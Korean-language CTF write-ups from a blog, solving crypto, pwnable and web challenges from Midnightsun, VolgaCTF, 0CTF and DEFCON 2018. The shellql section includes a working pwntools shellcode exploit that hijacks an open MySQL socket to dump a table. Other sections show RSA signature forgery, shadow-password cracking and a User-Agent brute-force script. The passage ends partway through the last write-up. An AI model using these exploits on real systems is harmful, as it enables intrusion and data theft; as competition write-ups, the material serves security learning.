Description

Category: Crypto

Source: Midnightsun CTF 2019

Points: 223

Author: Jisoon Park(js00n.park)

Description:

Someone told me not to use DSA, so I came up with this.

Service: nc ezdsa-01.play.midnightsunctf.se 31337
Download: EZDSA.tar.gz

Author: grocid is available for questions in #midnightsun @ freenode
Status: Online, last check at 2019-04-06 22:15:31 UTC

Write-up

(종료 후 타 팀의 writeup을 참고하여 풀었습니다 ㅜㅠ)

문제 사이트에 접속해보면 내가 제출하는 base64 인코드된 메세지를 서명해주는 서비스를 이용할 수 있다.

첨부로 주어진 서명 코드를 살펴보면, DSA를 구현하고 있는 것을 확인할 수 있다.

class PrivateSigningKey:

    def __init__(self):
        self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L
        self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL
        self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L
        self.key = int(FLAG.encode("hex"), 16)

    def sign(self, m):

        def bytes_to_long(b):
            return long(b.encode("hex"), 16)

        h = bytes_to_long(sha1(m).digest())
        u = bytes_to_long(Random.new().read(20))
        assert(bytes_to_long(m) % (self.q - 1) != 0)

        k = pow(self.gen, u * bytes_to_long(m), self.q)
        r = pow(self.gen, k, self.p) % self.q
        s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q
        assert(s != 0)

        return r, s

flag를 hex encoding 하여 private key로 사용하고 있고, 다른 부분은 일반적인 DSA와 동일한데 k를 생성하는 부분만 다른 것을 확인할 수 있다. 원래는 난수를 생성하여 그대로 k로 사용하는데, 여기서는 g와 난수와 입력한 값을 이용하도록 되어 있다.

k를 공격하면 무슨 일이 일어날지 상상해보자. k가 0이면 그렇게 만들 수도 없겠지만 r은 1이고 s는 0이 되어 아무것도 할 수 있는게 없다.

k가 1이라면, s = (h + key * r) mod q 가 되는데 s, h, r, q를 모두 알 수 있으니 key를 계산해낼 수 있게 된다. k를 1로 만드는 방법을 열심히 고민해보자.

k = gu * m mod q에서, m을 0으로 넣어주면 k가 1이 되겠지만, 바로 윗줄의 assert를 통과하지 못할 것이다. 이 assert 문을 다시 보면 m이 (q - 1)의 배수인지 확인하는데, 이걸 확인하는 이유는 m = t(q - 1)인 경우 페르마의 소정리에 의해서 k가 1이 되기 때문이다.

어.. 그런데 m = (q - 1)/2라면 어떨까. 일단 assert문에는 걸릴지 않을테고, u가 짝수이면 페르마의 소정리가 적용되게 될텐데 u는 그냥 임의로 생성하고 있으니 50%의 확률로 k가 1이 될것이다.(upbhack팀의 writeup에 따르면, u가 홀수라도 k가 1이 된다고 하는데, 이해는 잘 되지 않았다.)

exploit을 작성해 보자.

(q - 1)/2를 base64로 인코딩하여 보내면 성공적으로 r, s를 받아온다.

k가 1일테니 r = (g % p) % q일 것이라서 미리 계산해 둘 수도 있었지만 어쨌든 r-1 mod q를 계산한 후, (s - h) r-1 mod q를 계산하면 flag인 key를 얻을 수 있었다.

Flag : th4t_w4s_e4sy_eh?

'writeups > Crypto' 카테고리의 다른 글

baby RSA  (0) 2019.11.26
Open-gyckel-krypto  (0) 2019.11.26
Shadow Cat  (0) 2019.11.26
LG  (0) 2019.11.26
Blind  (0) 2019.11.26

Description

Category: Crypto

Source: VolgaCTF 2019 Qualifier

Points: 100

Author: Jisoon Park(js00n.park)

Description:

We only know that one used /etc/shadow file to encrypt important message for us.

shadow.txt encrypted.txt

Write-up

shadow 파일(shadow.txt)과 암호화된 flag(encrypted.txt)가 주어진다.

dictionary를 이용해서 John the ripper로 shadow를 복호화 하려고 해봤지만 잘 되지 않았다.

shadow.txt에 a부터 z까지의 계정이 있고, 암호화된 flag가 소문자로만 이루어진 것이 치환암호인 것 같았다.

import itertools

a = "abcdefghijklmnopqrstuvwxyz"

f = open("dict.txt", "w")

for c in a:
        f.write(c + "\n")

for c in itertools.product(a, repeat=2):
        f.write("".join(c) + "\n")

for c in itertools.product(a, repeat=3):
        f.write("".join(c) + "\n")

한글자에서 많아야 세글자 정도가 flag 한글자일거라고 생각해서 소문자 1~3글자가 조합된 dictionary를 새로 만들었다.

이걸 이용했더니 shadow 파일을 성공적으로 복호화 할 수 있었다. 이럴거면 그냥 dictionary 파일을 만들지 말걸 그랬다. 각 id와 복호화된 password를 이용해서 1:1 mapping table을 만들어서 암호하된 flag를 복호화 하였더니 아래와 같은 문자열을 얻을 수 있었다.

vaff_iafi_mpamxcns_iafimak_ayrahf_ybpxf_cn_kiq_fiajurf

혹시나 해서 submit 해보았으나 역시나 아니었다.

어떤걸 놓친 것일까 고민하다가 달리 할 수 있는게 없어서 mapping을 반복해서 시도해 보았다.

5번, 15번 했을 때는 별다른 의미있는 문자열을 얻지 못했지만 50번으로 늘려서 시도하자 의미있을 것 같은 문자열이 발견되었다.

pass_hash_cracoing_hashcab_always_lxros_in_bhe_shadkws

이정도면 우연히 만들어진 것은 아닌 것 같은데 알 수 없는 부분들이 있다. 특히 마지막은 'shadow'가 되어야 할 것 같은데 뭔가 완전하지 않다.

반복을 500번으로 늘리고 "pass"로 시작해서 "shadow"로 끝나는 문자열이 있는지 확인해 봤더니 의미있는 문자열이 출력되었다. (코드)

flag format에 맞게 제출했더니 point를 획득할 수 있었다.

Flag : VolgaCTF{pass_hash_cracking_hashcat_always_lurks_in_the_shadows}

'writeups > Crypto' 카테고리의 다른 글

Open-gyckel-krypto  (0) 2019.11.26
Ezdsa  (0) 2019.11.26
LG  (0) 2019.11.26
Blind  (0) 2019.11.26
babyrsa  (0) 2019.11.26

Description

Category: Crypto

Source: VolgaCTF 2019 Qualifier

Points: 100

Author: Jisoon Park(js00n.park)

Description:

WazzUP! My homie bought a new UltraSmartTV, but he forgot a secret key from an admin panel. After a few attempts to crack this "smart" IoT device it started to generate new passwords on its own, and now we are stuck.

Can you help?

nc lg.q.2019.volgactf.ru 8801

Second host: nc 95.213.235.103 8801

Write-up

문제 서버에 접속해 보면 난수로 보이는 숫자 10개를 주고 다음에 올 숫자를 맞춰보라고 한다.

숫자 사이에 뭔가 규칙성이 있을 것 같은데, Smart TV랑 무슨 상관인지는 모르겠다.

문제를 보고 수열에서 점화식을 찾으면 될것 같다는 생각을 했었는데, 숫자가 커졌다 작아졌다 하는걸 보니 modulus 가 붙어있는 수열일 것 같았다.

수열을 배운지 하도 오래 되어서 기억나는 수열이 등차, 등비, 조화 수열밖에 없었는데 모두 정수 형태인걸 보아 조화 수열은 아닌 것 같고, 등차와 등비수열인지를 먼저 확인해 보았다.

등차수열이라면 xn = xn - 1 + a mod p로 정의될 수 있을 것인데, 문제에서 주어진 수열을 만족하는 a를 찾을 수 없었다.

등비수열이라면 xn = a xn - 1 mod p으로 정의될 텐데, 마찬가지로 수열을 만족하는 a를 찾을 수 없었다.

혹시 hash chain일까 싶어서 생각나는 hash 알고리즘들을 적용해 보았지만 아니었다.

100점짜리 문제인데 말도 안되는 복잡한 건 없을 것 같다는 생각에 등차와 등비를 섞은 걸까 싶어서 xn = a xn - 1 + b mod p로 식을 세워봤는데, 이건 방정식을 풀 수가 없었다. 혹시나 비슷한게 있지 않을까 싶어서 검색을 해보았더니, PRNG 중에 LCG(Linear congruential generator)라는게 나왔다. 문제 이름인 LG와 비슷한것이, 왠지 이게 맞는 것 같다.

LCG를 풀려면 a, b, p 세 가지 파라미터의 값을 알아내야 한다. 이건 또 어떻게 하는거지 싶어서 역시 검색을 해봤더니 p를 확률적으로 알아내는 계산법이 있었다.

A linear congruential generator is defined by sn+1 = a sn + b mod m, where m is the modulus. In its simplest form, the generator just outputs sn as the nth pseudorandom number.

To recover m, define tn = sn+1 - sn and un = |tn+2 tn - t2n+1|; then with high probability you will have m = gcd(u1, u2, ..., u10). 10 here is arbitrary;

The key idea: tn+1 = sn+1 - sn = (a sn - b) - (a sn-1 - b) = a sn - a sn-1 = a tn mod m, and tn+2 = a2 tn mod m, and tn+3 = a3 tn mod m. Therefore tn+2 tn - tn+12 = 0 mod m, i.e., |tn+2 tn - tn+12| is a random multiple of m. Nifty number theory fact: the gcd of two random multiples of m will be m with probability 6/π2 = 0.61; and if you take the gcd of k of them, this probability gets very close to 1 (exponentially fast in k).

잘은 모르겠지만 멋진 것 같다.

어쨌든, 위의 방법으로 계산해보았더니 그럴듯한 p를 구할 수 있었다. 이제 a를 찾아보자.

x1 = a x0 + b mod p이고, x2 = a x1 + b mod p이니, 두 식을 빼면 x2 - x1 = a (x1 - x0) mod p이고, 이는 t1 = a t0 mod p로 쓸 수 있다.

t0, t1, p를 모두 알고 있으니, t0-1 mod p를 구해서 양쪽에 곱해주면 a를 계산할 수 있다.

b는 더 간단하게 s1 - a s0 mod p를 계산해서 구할 수 있다.

p, a, b를 모두 찾았으니, 서버에서 보내준 수열을 검증해 보면 제대로 된 값임을 확인할 수 있고 다음에 올 값도 계산할 수 있다. (p를 계산하는게 확률적이라 그런지 여러번 해보면 안될 때도 있었다.)

예측한 값을 서버로 보내면 flag를 확인할 수 있다.(코드)

Flag : VolgaCTF{pR3d1ct1ng_1s_n0t_oNlY_f0r_0O0rAculs}

'writeups > Crypto' 카테고리의 다른 글

Ezdsa  (0) 2019.11.26
Shadow Cat  (0) 2019.11.26
Blind  (0) 2019.11.26
babyrsa  (0) 2019.11.26
Easy Pisy  (0) 2019.11.26

Description

Category: Crypto

Source: VolgaCTF 2019 Qualifier

Points: 200

Author: Jisoon Park(js00n.park)

Description:

Pull the flag...if you can.

nc blind.q.2019.volgactf.ru 7070

server.py

Write-up

서버 코드와 접속할 수 있는 URL이 주어진다.

class RSA:
    def __init__(self, e, d, n):
        self.e = e
        self.d = d
        self.n = n

    def sign(self, message):
        message = int(message.encode('hex'), 16)
        return pow(message, self.d, self.n)

    def verify(self, message, signature):
        message = int(message.encode('hex'), 16)
        verify = pow(signature, self.e, self.n)
        return message == verify

"""
    Keys
"""

n = 26507591511689883990023896389022361811173033984051016489514421457013639621509962613332324662222154683066173937658495362448733162728817642341239457485221865493926211958117034923747221236176204216845182311004742474549095130306550623190917480615151093941494688906907516349433681015204941620716162038586590895058816430264415335805881575305773073358135217732591500750773744464142282514963376379623449776844046465746330691788777566563856886778143019387464133144867446731438967247646981498812182658347753229511846953659235528803754112114516623201792727787856347729085966824435377279429992530935232902223909659507613583396967
e = 65537

암/복호화 하는 부분은 textbook RSA와 동일하다. 역시나 n과 e가 주어져 있는데, RsaCtfTool을 이용해서 인수분해를 시도해 보았으나 성공하지는 못했다.

while True:
    send_message('Enter your command:')
    message = read_message().strip()
    (sgn, cmd_exp) = message.split(' ', 1)
    eprint('Accepting command {0}'.format(cmd_exp))
    eprint('Accepting command signature: {0}'.format(sgn))

    cmd_l = shlex.split(cmd_exp)
    cmd = cmd_l[0]
    if cmd == 'ls' or cmd == 'dir':
        ret_str = run_cmd(cmd_exp)
        send_message(ret_str)

    elif cmd == 'cd':
        try:
            sgn = int(sgn)
            if not signature.verify(cmd_exp, sgn):
                raise SignatureException('Signature verification check failed')
            os.chdir(cmd_l[1])
            send_message('')
        except Exception as ex:
            send_message(str(ex))

    elif cmd == 'cat':
        try:
            sgn = int(sgn)
            if not signature.verify(cmd_exp, sgn):
                raise SignatureException('Signature verification check failed')
            if len(cmd_l) == 1:
                raise Exception('Nothing to cat')
            ret_str = run_cmd(cmd_exp)
            send_message(ret_str)
        except Exception as ex:
            send_message(str(ex))

    elif cmd == 'sign':
        try:
            send_message('Enter your command to sign:')
            message = read_message().strip()
            message = message.decode('base64')
            cmd_l = shlex.split(message)
            sign_cmd = cmd_l[0]
            if sign_cmd not in ['cat', 'cd']:
                sgn = signature.sign(sign_cmd)
                send_message(str(sgn))
            else:
                send_message('Invalid command')
        except Exception as ex:
            send_message(str(ex))

이 부분이 핵심이다. 공백으로 구분된 sign과 command를 던져주면, command에 따라 처리하는 루틴이다.

lsdir은 서명 검증 없이 수행하고, cdcat은 서명 검사 후 실행하며, sign은 서명을 생성해 주는 역할을 하는데 command가 cat이나 cd인 경우에는 서명을 생성해주지 않는다.

일단 서버 테스트를 해보자.

서명 자리에 아무 수나 넣고 ls -l을 실행해 봤더니, server와 동일한 디렉토리에 flag 파일이 있는 것을 확인할 수 있었다. cat flag 명령을 수행하면 flag를 얻을 수 있을 것 같다.

cat flag에 대한 서명을 어떻게 생성할 수 있을까 고민하다가, catcd가 아닌 임의의 데이터에 대해 서명을 생성하는게 가능하다는 사실이 떠올랐다. RSA의 multiplicative property를 이용해보자.

아래와 같이 파라미터를 설정하면,

  • m0 = "cat flag"
  • m1 = 2
  • s1 = sign(m1)
  • s01 = sign(m0 * m1)

m0에 대한 서명 s0는 다음과 같이 계산할 수 있을 것이다.

  • s1_inv = s1-1 mod n
  • s0 = s01 * s1_inv mod n = (m0 * m1)d * s1-1 mod n
    = m0d * m1d * m1d * -1 mod n = m0d * m10 mod n = m0d mod n

이렇게 얻은 s0와 m0를 서버로 전송하면 m0가 정상적으로 실행된 결과를 확인할 수 있을 것이다.

s0를 구하는 코드를 작성하여 실행하면 flag를 얻을 수 있다.

Flag : VolgaCTF{B1ind_y0ur_tru3_int3nti0n5}

RSA에 대한 timing attack 방어에 mulitiplicative property를 이용한 blinding을 사용하기 때문에 문제 제목이 Blind가 된것 같다.

'writeups > Crypto' 카테고리의 다른 글

Shadow Cat  (0) 2019.11.26
LG  (0) 2019.11.26
babyrsa  (0) 2019.11.26
Easy Pisy  (0) 2019.11.26
Count me in  (0) 2019.11.26

Description

Category: Crypto

Source: 0CTF/TCTF 2019 Quals.

Points: 74

Author: Jisoon Park(js00n.park)

Description:

RSA challs are always easy, right? Even if N is not a integer.

babyrsa.zip

Write-up

압축을 풀어보면 암호화된 flag, public key와 rsa.sage를 얻을 수 있다.

[...]

R.<a> = GF(2^2049)

def encrypt(m):
    global n
    assert len(m) <= 256
    m_int = Integer(m.encode('hex'), 16)
    m_poly = P(R.fetch_int(m_int))
    c_poly = pow(m_poly, e, n)
    c_int = R(c_poly).integer_representation()
    c = format(c_int, '0256x').decode('hex')
    return c

if __name__ == '__main__':
    ptext = flag + os.urandom(256-len(flag))
    ctext = encrypt(ptext)
    with open('flag.enc', 'wb') as f:
        f.write(ctext)

sage 파일을 보면 RSA encryption 알고리즘이 간단하게 구현되어 있는데, 정수 기반이 아니라 다항식 기반으로 운영되고 있는 것을 알 수 있다.

from sage.all import GF, PolynomialRing

P=PolynomialRing(GF(2),'x')
e = 31337
n = P('x^2048 + x^2046 + x^2043 + x^2040 + x^2036 + x^2035 + x^2034 + x^2033 + [...]

public key 파일을 열어보면 마찬가지로 다항식 모양으로 선언된 modulus를 확인할 수 있다.

이렇게 생긴 RSA 시스템은 처음 보는데, 관련된 자료가 있을지 한번 검색을 해보자. polynomial rsa라는 키워드로 검색을 해보면, Polynomial based RSA라는 문서를 가장 먼저 찾을 수 있다. Polynomial RSA에 대한 실질적인 설명은 2.1.2장에 나와 있다.

완전히 이해는 어렵지만, 대충 훑어보면 일반적인 RSA와 비슷하게 P(x)와 Q(x)를 구한 후 이를 곱해서 N(x)를 만들어서 암호화와 복호화를 수행하는 것 같다.

문제에 주어진 것은 다항식이라는 것을 제외하면 크게 특이해 보이지 않는 n과 e와 암호화 함수 정도인데, 일반적인 RSA 문제에서는 이런 경우에 N이 인수분해 가능한 형식으로 주어지는 경우가 많다.

다항식은 어떻게 인수분해 할 수 있을까. 위의 문서를 계속 훑어보다 보면 4.3절에 Polynomial factorization에 관한 내용과 Berlekamp's algorithm이 있는 것을 볼 수 있는데 나는 이해할 수 없었다.

문제가 sage 코드로 주어졌는데, sage에서 할 수 있는 방법이 없을까 싶어 sage polynomial factorization으로 검색해 보았더니 sage의 polynomial factorization 항목을 찾을 수 있었다.

간단해 보이는데 실제로 되는지 확인해 보자.

0.1초만에 주어진 다항식 n을 821차 다항식과 1227차 다항식으로 분리해준다. 다항식이 딱 두개 나오는걸 보니 뭔가 성공적인 것 같다.

아까의 문서에서 P(x), Q(x)로 부터 private key d를 어떻게 구하는지 찾아보자.

P(x)와 Q(x)의 최고차항의 차수를 각각 n와 m이라고 하면, s = (p^m - 1)(p^n - 1)이고, d = e^(-1) mod s라고 한다. s가 phi(N)과 비슷하게 계산되고 사용되는 것 같다.

위의 다항식 분해에서 최고차항이 821, 1227이었으니 m과 n을 각각 821과 1227이라고 하고, p가 2일 때 s를 계산해 보자.(P=PolynomialRing(GF(2),'x') 라고 정의되어서 p = 2라고 하였다.)

sage가 간단하게 d를 계산해 주었다.

이제 encrypt 함수를 참고해서 decryption을 해보자.

별다른 문제없이 decryption을 성공하여 flag를 확인할 수 있었다.

Flag : flag{P1ea5e_k33p_N_as_A_inTegeR~~}

'writeups > Crypto' 카테고리의 다른 글

LG  (0) 2019.11.26
Blind  (0) 2019.11.26
Easy Pisy  (0) 2019.11.26
Count me in  (0) 2019.11.26
Help Rabin  (0) 2019.11.26

Description

Category: Pwnable

Source: DEFCON CTF 2018 Quals.

Points: 118

Author: Jisoon Park(js00n.park)

Description:

Do you even SQL? The flag is in the table flag

http://ssat-ps.iptime.org:5103

download

Write-up

(*. 문제 환경을 재구성하여 풀이하였습니다.)

문제 사이트에 접속하면 shell을 입력하라고 한다. 뭘 입력해야 할지 모르겠는데, debug me 메뉴가 있으니 들어가보자.

$link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');

if (isset($_POST['shell']))
{
   if (strlen($_POST['shell']) <= 1000)
   {
      echo $_POST['shell'];
      shellme($_POST['shell']);
   }
   exit();
}

php-cgi 소스 코드가 보인다. 우선 shellql database에 연결을 만들고, 내가 보낸 shell을 shellme() 함수를 통해 호출하는 간단한 코드이다.

cgi니까 shelle() 함수는 첨부된 shellme.so 파일에 정의되어 있을 것 같다. IDA로 shellme.so를 열어보자.

Php::Value *__fastcall shellme(Php::Value *this, __int64 *a2)
{
  __int64 v2; // rsi
  void *src; // [rsp+0h] [rbp-48h]
  __int64 v5; // [rsp+10h] [rbp-38h]
  unsigned __int64 v6; // [rsp+28h] [rbp-20h]

  v2 = *a2;
  v6 = __readfsqword(0x28u);
  ZNK3Php5Value11stringValueB5cxx11Ev(&src, v2);
  j_shell_this(src);
  Php::Value::Value(this, 1);
  if ( src != &v5 )
    operator delete(src);
  return this;
}

__int64 __fastcall j_shell_this(void *src)
{
  return shell_this(src);
}

__int64 __fastcall shell_this(void *src)
{
  size_t v1; // rbx
  void *v2; // rbp

  v1 = (signed int)strlen((const char *)src);
  v2 = mmap(0LL, v1, 7, 34, -1, 0LL);
  memcpy(v2, src, v1);
  alarm(0x1Eu);
  prctl(22, 1LL);
  return ((__int64 (*)(void))v2)();
}

shellme() 함수는 php에서 넘어온 파라미터를 이용하여 argument로 전달된 shell string을 복구하고 j_shell_this() 함수로 넘기는데, j_shell_this() 함수는 그냥 shell_this() 함수를 호출하는 함수이다.

shell_this() 함수는 mmap으로 메모리 구역을 설정한 후 전달받은 데이터를 복사해넣고 해당 메모리를 호출하여 실행한다.

참고로, mmap()은 아래와 같은 모양을 하고 있다.

void * mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

메모리의 적당한 영역에 v1(src 길이)만큼의 메모리를 할당하고, RWX 권한을 부여하는데 flags는 MAP_ANONYMOUS | MAP_PRIVATE로 설정하여 다른 프로세스와 공유되지 않도록 하였다. (MAP_ANONYMOUS라서 fd는 -1, offset은 0이다.)

prctl() 함수는 SECCOMP를 걸어주는 함수인데, prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)이 걸려있다. 이 모드에서는 read()/write()/exit()/sigret() syscall만 사용할 수 있다고 한다.

SECCOMP 제약만 만족하는 shellcode를 써주면 그대로 실행해주는 함수를 친절하게 제공해주니 shellcode를 잘 쓰면 될 것 같은데, native program에서 mysql을 어떻게 사용할 수 있는지가 문제에서 묻는 내용인 것 같다.

처음에 php-cgi 코드를 봤을 때는 sqli_connect() 함수를 호출하는 라인이 mysql 계정과 database를 알려주기 위해서 작성된거라고 생각해서 c의 mysql connector를 shellcode로 작성하려고 했는데, 보면 볼수록 답이 보이질 않았다.

mysql은 tcp 3306 포트를 통해 서비스 되니, 소켓 통신이 가능할지 살펴보자. seccomp 때문에 소켓을 새로 열 수는 없지만 php-cgi에서 이미 연결을 만들었으니 소켓이 열려있을 수도 있을 것 같다. linux에서는 파일이건 소켓이건 모두 file로 간주되니 소켓이 열려있다면 file descriptor를 사용할 수 있을것이다.

In Unix and related computer operating systems, a file descriptor (FD, less frequently fildes) is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket.

알다시피, file descriptor 0, 1, 2번은 예약 되어 있고 보통 순서대로 열리니 3번 부터 write를 시도해보자.

[...]

context(arch='amd64', os='linux')

#URL = 'http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php'
URL = 'http://ssat-ps.iptime.org:5103/cgi-bin/index.php'

print "fd write test(3~9)"
fd = []
for i in range(3, 10):
    msg = "A" * 8
    payload = shellcraft.echo("Content-type: text/html\n\n", 1)     #cgi header
    payload += shellcraft.write(i, msg, len(msg))
    payload += "add eax, 48\n"
    payload += "mov [rsp], rax\n"
    payload += shellcraft.write(1, 'rsp', 1)

    data = {'shell': asm(payload)}

    res = requests.post(URL, data = data)
    if res.text == str(len(msg)):
        print "%d is alive!"%i
        fd.append(i)

위 코드는 3번부터 9번 fd까지에 특정 메세지를 write한 후 return value(rax)를 이용해서 write가 성공하는지 확인한다. shellcraft에서 echo나 write를 할때 rsp를 string buffer로 활용하길래 출력 buffer도 rsp를 이용하였다.

처음에는 코드를 제대로 구성한 것 같은데도 http 500 response가 오면서 출력 결과를 확인할 수 없었는데, 찾아보니 cgi 프로그램에서는 가장 먼저 MIME-type 헤더 출력이 있어야 한다고 해서 추가해 주었더니 정상적으로 출력을 확인할 수 있었다. (Content-type 없이 그냥 "" 하나만 넣어도 정상동작한다. 빈 줄이 필요한걸 보면 cgi 출력이 html response 헤더에 바로 attach 되나보다.)

코드 실행결과 3번과 4번 fd가 열려 있는 것을 확인할 수 있다.

3번 또는 4번 포트가 mysql 포트라면, query에 대해 response도 확인할 수 있어야 할 것이다.

위와 동일한 방법으로 write 후에 돌아오는 response를 read로 확인해보자.

print "\nfd read test for writable ports"
for i in fd:
    msg = "A" * 8
    payload = shellcraft.echo("Content-type: text/html\n\n", 1)     #cgi header
    payload += shellcraft.write(i, msg, len(msg))
    payload += shellcraft.read(i, 'rsp', 10)
    payload += shellcraft.write(1, 'rsp', 'rax')
    
    data = {'shell': asm(payload)}

    res = requests.post(URL, data=data)
    if len(res.text) > 0:
        print "%d is available."%i
        mysql_port = i

3번과 4번 포트 중에 4번 포트에만 response가 있었다. mysql은 4번 포트를 사용할 가능성이 매우 높아 보인다.

이제 4번 포트를 이용해서 mysql query를 날려보자.

mysql documentation에 따르면 mysql protocol은 connection phase - command phase - replication phase가 있다고 한다.

connection phase는 처음 database에 접속하는 과정이며, 이 문제에서는 php-cgi에서 mysqli_connect() 함수가 실행될때 완료되었을테니 바로 command phase로 넘어가면 된다.

command phase는 database에 query를 날리는 과정이다. query를 날릴 때는 COM_QUERY를 이용한다고 한다. COM_QUERY는 [length | 0x03 | Query] 형식으로 구성되는데 length는 4 byte little endian이란다. (나중에 writeup들을 봤더니 mysql query를 wireshark로 잡아서 COM_QUERY 구조를 알아낸 팀도 있었다.)

print "\nget query result"
msg = "\x03" + "select * from flag"                             #COM-QUERY format
msg = p32(len(msg)) + msg
payload = shellcraft.echo("Content-type: text/html\n\n", 1)     #cgi header
payload += shellcraft.write(mysql_port, msg, len(msg))
payload += shellcraft.read(mysql_port, 'rsp', 200)
payload += shellcraft.write(1, 'rsp', 'rax')

data = {'shell': asm(payload)}

res = requests.post(URL, data=data)
pattern = re.compile(r'OOO{.+}')
print re.search(pattern, res.text).group()

처음에는 100 바이트만 읽었는데, flag가 짤려서 나왔다. res.text 전체를 출력하면 여러 지저분한 값들이 많이 나오는데, 아마 COM_QUERY에 대한 응답 형식일 것 같으나 별 관심은 없어서 flag만 잘라내었다.

여기까지의 코드를 모두 실행하면 flag를 얻을 수 있다.

Flag : OOO{shellcode and webshell is old news, get with the times my friend!}

'writeups > Pwnable' 카테고리의 다른 글

speedrun-002  (0) 2019.11.26
horcruxes  (0) 2019.11.26
xor  (0) 2019.11.26
Welcome  (0) 2019.11.26
two targets  (0) 2019.11.26

Description

Category: Web

Source: DEFCON CTF 2018 Quals.

Points: 110

Author: Jisoon Park(js00n.park)

Description:

We offer extensive website protection that stops attackers even when the admin's credentials are leaked!

Try our demo page http://ssat-ps.iptime.org:5102/login.html with username:password admin@oooverflow.io:admin to see for yourself.

Write-up

(*. 문제 환경을 재구성하여 풀이하였습니다.)

사이트 주소와 로그인 계정이 주어져 있다. 일단 사이트에 가서 로그인을 해보자.

호환되지 않는 브라우저라고 한다. (물론 잘못된 로그인 정보를 넣으면 그에 대한 오류가 발생한다.)

브라우저에 대한 오류 메세지는 처음 보는 것 같다. 일단 사이트를 더 살펴보자.

페이지 소스는 확인해보아도 별다른 정보를 얻을 수 없어서 burp suite를 이용해서 통신 내용을 살펴보았다.

처음에 접속한 login.html에서 login.php로 로그인 정보를 보내면 login.php에서 wrongbrowser.php로 redirection 요청을 보내는데, (redirection 되니까) 실제로는 렌더링 되지 않는 의미없는 html 코드가 붙어있는 것을 볼 수 있다.

wrongbrowser.php는 이름으로 보아, 특별한 기능 보다는 오류 메세지를 보여주는 정도의 역할을 할 것 같다. 이 페이지는 호환되지 않는 브라우저라는 오류 메세지를 응답하는데, 서버로 전송되는 브라우저 관련 정보는 http 헤더에 있는 User Agents 정보 밖에 없으니 그걸 잘 고쳐야 하나 보다.

brute-force가 가능할까 싶어 User Agent 데이터베이스를 찾아보았더니 100만 종류 이상의 User Agents가 있다고 해서 포기했다. (몇가지 정보들을 발췌해서 시도해 보았으나 모두 실패했다.)

뭔가 놓친게 더 있을까 싶어 고민하다가 login.php의 response에 있던 html이 떠올라서 다시 한번 확인해 보았다.

<html>
    <style scoped>
        h1 {color:red;}
        p {color:blue;}
    </style>
    <video id="v" autoplay> </video>
    <script>
        if (navigator.battery.charging) {
            console.log("Device is charging.")
        }
    </script>
</html>

html css는 잘 몰라서 모르는 태그들을 하나씩 확인해 보았다.

먼저, <style scoped> 태그를 찾아 보았더니 Firefox에서만 지원하는 태그였다.

정확한 정보를 찾고 싶어서 검색해보니, caniuse.com이라는 사이트가 있어서 다시 style scoped를 검색해 보았다.

Firefox 21-54 버전에서만 동작한다고 한다.

다른 태그들도 찾아보자.

video autoplay는 지원하는 브라우저가 많았다.

navigator battery는 애매하게 칠해진 곳이 있어서 확인해 보았더니, 10-42 버전은 navigator.battery를 지원하고, 43-51 버전은 navigator.getBattery()를 지원한다고 한다. 여기서는 navigator.battey를 사용하니 10-42 버전이 맞을거다.

결국, 위의 html이 제대로 동작하기 위해서는 21-42 버전의 firefox가 필요하다고 생각되었다. 그에 해당하는 User agent를 찾아보자.

WhatIsMyBrowser.com이라는 사이트에서 firefox의 User Agent 문자열을 찾아봤더니 OS 부분을 제외하고는 모양이 정해져 있었다.

우리가 찾는 범위 안에 있는 것들 중에 심플하게 생긴 36버전의 User Agent 문자열을 받아서 21-42 버전까지 전송하는 코드를 작성해서 실행했더니 flag를 얻을 수 있었다.

import requests

# %d means version
ua = "Mozilla/5.0 (Windows NT 5.1; rv:%d.0) Gecko/20100101 Firefox/%d.0"

url = "http://ssat-ps.iptime.org:5102/login.php"
err_msg = "Incompatible browser detected."

email = "admin@oooverflow.io"
pwd = "admin"
data = {"email": email, "pwd": pwd}

for i in range(21, 43):
    headers={'User-Agent': ua%(i, i)}

    r = requests.post(url, data=data, headers=headers)
    if not err_msg in r.text:
        print r.text

Flag : OOO{0ld@dm1nbr0wser1sth30nlyw@y}

'writeups > Web' 카테고리의 다른 글

My admin panel  (0) 2019.11.26
You Already Know  (0) 2019.11.26
Cookie Monster  (0) 2019.11.25
Stop and Listen  (0) 2019.11.25
ReadingRainbow  (0) 2019.11.25

Description

Category: Web

Source: DEFCON CTF 2018 Quals.

Points: 101

Author: Jisoon Park(js00n.park)

Description:

Stop overthinking it, you already know the answer here.

You already have the flag.

Seriously, if you can read this, then you have the flag.

Submit it!

Write-up

(*. 문제 환경을 재구성하여 풀이하였습니다.)

아무것도 주어진게 없는데 flag를 내놓으라고 한다.

몇가지 가능성을 생각할 수 있을 것 같은데, 우선 소스 코드를 살펴보자. Chrome의 개발자 도구를 이용하면 각종 resource를 쉽게 확인할 수 있다.

flag 형식이 OOO{} 라고 하였으니, OOO라는 문자열을 검색해 보았다.

소스코드 여기저기를 뒤져봐도 flag 처럼 보이는 것은 없는 것 같다.

다음으로, 웹 문제에서 가장 쉽게 생각해 볼 수 있는 Cookie를 확인해보자.

Cookie에는 session 정보밖에 없다.

다음으로, Network으로 전송된 정보에 flag가 있는지 확인해보자.

Network에도 별 정보가 없다. 이제 뭘 뒤져봐야 하나... 하는데 데이터 중에 Status가 pending인 것이 있다. 잠시 기다리면 200으로 바뀌는데, 그 후에 다시 OOO를 검색해봤더니 문자열 하나가 나왔다.

검색 결과를 더블클릭하여 해당 문자열로 가보면 JSON 형식의 데이터를 볼 수 있다. 브라우저가 XHR(XML Http Request) 요청을 보냈는데, async로 처리하여 회신이 늦게 오도록 한 것 같다.

